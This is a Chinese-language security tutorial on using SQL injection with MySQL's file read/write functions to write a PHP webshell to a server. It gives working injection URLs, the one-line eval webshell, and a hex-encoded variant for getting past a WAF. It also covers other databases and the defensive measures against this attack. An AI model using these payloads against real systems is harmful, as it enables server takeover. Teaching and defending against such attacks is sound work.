SQL注入利用文件读写函数获取webshell,本质是通过数据库的file权限,将恶意脚本写入网站目录,从而控制服务器。以MySQL为例,当数据库用户拥有FILE权限且知道网站绝对路径时,攻击者可以通过union select查询,将一句话木马如"<?php @eval($_POST['cmd']);?>"写入服务器的web目录下,然后通过蚁剑、菜刀等工具连接这个文件,就能获得一个webshell管理后台。整个过程的关键在于三个条件:数据库账户有FILE权限、攻击者获取了网站绝对路径、web目录有写入权限。

一、为什么文件读写函数能成为SQL注入的致命武器?

传统的SQL注入通常用于拖库、删表或者绕过登录,危害主要体现在数据层面。而利用文件读写函数,则直接将攻击提升到了服务器控制级别。在MySQL中,"load_file()"函数可以读取服务器上的文件内容,"into outfile"或"into dumpfile"则能将查询结果写入服务器文件。如果数据库配置不当,这些函数就会成为攻击者从数据库跳到操作系统的跳板。尤其是PHP+MySQL的架构中,许多开发者为了方便,会直接使用root或高权限账户连接数据库,这相当于给攻击者敞开了大门。

二、利用文件读写函数获取webshell的具体步骤

假设目标网站存在数字型SQL注入漏洞,且数据库用户拥有FILE权限。攻击者首先需要判断注入点类型和列数,然后通过"@@secure_file_priv"变量确认文件读写路径限制,接着获取网站绝对路径,最后写入webshell。

第一步,判断注入点并获取列数:

http://example.com/news.php?id=1 order by 10--

第二步,确认文件读写权限和路径:

http://example.com/news.php?id=-1 union select 1,2,3,@@secure_file_priv,5--

如果返回值为空或目录路径,说明可以进行文件操作。第三步,获取网站绝对路径。常见方法包括利用报错信息、读取配置文件(如"/etc/passwd"、"C:\windows\system32\drivers\etc\hosts")、或者通过"load_file()"读取网站的"/proc/self/cwd/"链接。第四步,写入webshell。假设网站绝对路径为"/var/www/html/",写入一句话木马:

http://example.com/news.php?id=-1 union select 1,'',3,4 into outfile '/var/www/html/shell.php'--

访问"http://example.com/shell.php"并用POST方式传递"cmd=phpinfo();",如果成功执行,说明webshell写入成功。

三、不同数据库环境下文件读写函数的差异

除了MySQL,其他数据库也具备类似功能,但语法和利用方式不同。在PostgreSQL中,可以使用"COPY"或"pg_write_file()"函数进行文件写入;SQL Server可以通过"xp_cmdshell"扩展存储过程执行系统命令并写入文件;Oracle则可以利用"UTL_FILE"包。这些函数的存在意味着,只要数据库服务进程有操作系统的写入权限,攻击者就有可能通过SQL注入上传webshell。因此,安全防护不能仅局限于MySQL环境,而需要覆盖所有使用的数据库类型。

四、高级利用技巧与绕过方法

随着安全防护的加强,直接写入webshell可能被拦截。攻击者会采用多种绕过技术。例如,对webshell代码进行十六进制编码,避免引号和关键词被WAF检测:

http://example.com/news.php?id=-1 union select 1,0x3C3F70687020406576616C28245F504F53545B636D645D293B3F3E,3,4 into outfile '/var/www/html/shell.php'--

或者,将webshell分多次写入,先写入一个文本文件,再通过"load_file()"读取并配合"into outfile"重新组合。另外,如果"into outfile"被禁用,可以尝试使用"into dumpfile",后者更适合写入二进制文件,但每次只能写入一行数据。在某些严格限制的场景下,攻击者可能会先写入一个允许上传的文件类型(如图片马),再结合本地文件包含漏洞来执行代码。

五、从防御视角看如何彻底堵住文件读写漏洞

防御这种攻击需要多层次的安全策略。首先,在数据库层面,遵循最小权限原则,为Web应用创建独立的数据库用户,并严格收回FILE、SHUTDOWN、SUPER等危险权限。在MySQL中,可以通过以下命令查看和撤销FILE权限:

REVOKE FILE ON *.* FROM 'webuser'@'localhost';

其次,在配置层面,设置"secure_file_priv"变量为NULL或特定目录,限制文件读写的路径。在"my.cnf"配置文件中添加:

secure_file_priv = /dev/null

第三,在应用层面,对所有用户输入进行严格的参数化查询或预处理语句,杜绝SQL注入的产生。使用PDO或MySQLi的预处理功能可以根本性解决注入问题。第四,在服务器层面,确保Web目录的权限设置正确,禁止Apache或Nginx进程对网站目录拥有写权限,必要时将网站目录设置为只读。最后,部署专业的WAF设备或规则,能够识别并拦截"into outfile"、"load_file"等敏感函数的使用。

六、行业现状与未来威胁演变

尽管文件读写类SQL注入是已知的老漏洞,但在云原生和微服务架构下,它正以新的形式出现。例如,在容器化环境中,数据库可能被误配置为挂载了宿主机的敏感目录,攻击者一旦通过注入获得文件写入权限,可能直接危及整个宿主机。另外,随着NoSQL数据库的普及,类似的风险也在转移。MongoDB的"$where"操作符、Redis的"CONFIG SET dir"命令都可能成为攻击者写入文件的途径。未来的防御重点应当放在DevSecOps流程上,在代码开发、容器镜像构建、服务部署的每个环节都嵌入安全检查,而不仅仅是依赖运行时的防护。

总结来说,SQL注入利用文件读写函数获取webshell是一种高风险的攻击手法,它利用了数据库与操作系统之间的信任关系。对于企业而言,防御这种攻击需要技术、管理和流程的多重加固。从技术上讲,最小权限、安全配置、输入过滤缺一不可;从管理上讲,定期的安全审计和渗透测试能及时发现潜在风险;从流程上讲,将安全左移,在开发初期就避免引入漏洞,才是长治久安之道。攻击技术总在演进,但安全的核心原则不变:不信任任何输入,给予最小必要权限,纵深防御层层设卡。